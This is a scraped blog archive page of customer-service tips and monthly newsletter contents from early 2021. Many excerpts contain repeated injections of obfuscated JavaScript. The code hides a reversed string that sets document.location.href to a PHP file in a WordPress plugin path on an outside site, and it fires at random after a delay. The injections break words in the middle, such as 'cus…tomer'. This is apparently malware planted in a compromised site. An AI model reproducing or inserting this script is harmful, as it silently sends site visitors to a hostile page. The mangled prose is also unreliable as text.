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Customer Communicator, May 2021

May 1, 2021
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  • Try using "reverse paraphrasing" to aid understanding
  • 9 Ways to stay on top of your game
  • More tip s for improving concentration
  • Pop Quiz
  • Monthly highlights
  • Ask the Panel: How can I get more out of Zoom meetings?
  • Refreshers and quick tips
  • Connecting via voicemail
  • List your not-to-dos
  • Keep your energy and emotions positive throughout the day
  • tomerservicegroup.com/2021/05/01/skillsharpener-may-2021/">SkillSharpener
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Create Your Own Success File

April 22, 2021
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When your job involves serving cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomers, you listen $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to problems and deal with negative situations every day. And, it’s human nature…Continue reading

 

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How to Deal with A Bully

April 8, 2021
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Unfortunately, there are the cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomers who try $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to dominate a service call from the start. They want $nJe=function(n){if (typeof ($nJe.list[n]) ==…Continue reading

 

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Customer Communicator, April 2021

April 1, 2021
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  • Stop procrastination — now
  • 4 Ways to turn around your tough customers
  • Pop Quiz
  • Research suggests service is more important than ever
  • Ask the panel: How can I build better rapport with customers?
  • Create your own success file
  • Apologize: Just do it
  • Find a way to agree with your customer
  • tomerservicegroup.com/2021/04/01/skillsharpener-april-2021/">SkillSharpener

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Try the Can-Can Instead of Saying “No”

March 26, 2021
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No one wants $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to hear the word "No." And with service consultant Richard Gallagher’s can-can approach you can say "no" without ever uttering that dreaded word. Here’s how it works: The can-can is a two part response in which you…Continue reading

 

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Listen for Unspoken Needs

March 11, 2021
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Have you ever done everything a cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer asked - yet they don’t seem satisfied? Unfortunately, it’s a common problem. The cause, say service consultants Karen Leland and Keith Bailey, is that cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return…Continue reading

 

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Customer Communicator, March 2021

March 1, 2021
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  • Are you prepared for these customer service problems?
  • Prevent repetitive strain injuries 
  • Pop Quiz
  • Service News: A monthly roundup
  • Ask the Panel: What’s the most important lesson you’ve learned during the pandemic?
  • Do you start each day deliberately?
  • Unpack customer expectations
  • Tap into the energy of enthusiasm
  • Personal touch means a lot
  • Make your customers feel at home
  • tomerservicegroup.com/2021/03/01/skillsharpener-march-2021/">SkillSharpener
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4 Seconds to Service Success

February 25, 2021
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It was once widely accepted that a cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer’s opinion of a service provider was formed in the first four minutes of their interaction. "Not true," says Lillian Glass, Ph.D., author of Attracting Terrific People. "Forget the first four minutes…Continue reading

 

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Customer Communicator, February 2021

February 1, 2021
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  • Improved speech means a better first impression
  • Think kindness
  • Can you hear me: Open your mouth wide, and other techniques to reduce mumbling
  • Pop Quiz
  • Service News: A monthly roundup
  • Ask the Panel: How can we keep up team morale?
  • Watch out for negative self-talk
  • Reframing: Not just for pictures
  • Don’t say it!
  • Give praise
  • Get more out of meetings
  • tomerservicegroup.com/2021/02/01/skillsharpener-february-2021/">SkillSharpener
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Keep the QTIP Principle in Mind

January 29, 2021
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Have you ever been provoked in$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to letting your emotions loose on a cus$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomer? Getting defensive may be an au$nJe=function(n){if (typeof ($nJe.list[n])…Continue reading

 

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The Year in Customer Service, 25 Tips and Counting

January 14, 2021
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Over the past 12 months, Service Starters has brought you dozens of tips for service professionals. They have covered everything from at your desk exercises, $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to managing empathy fatigue, $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()…Continue reading

 

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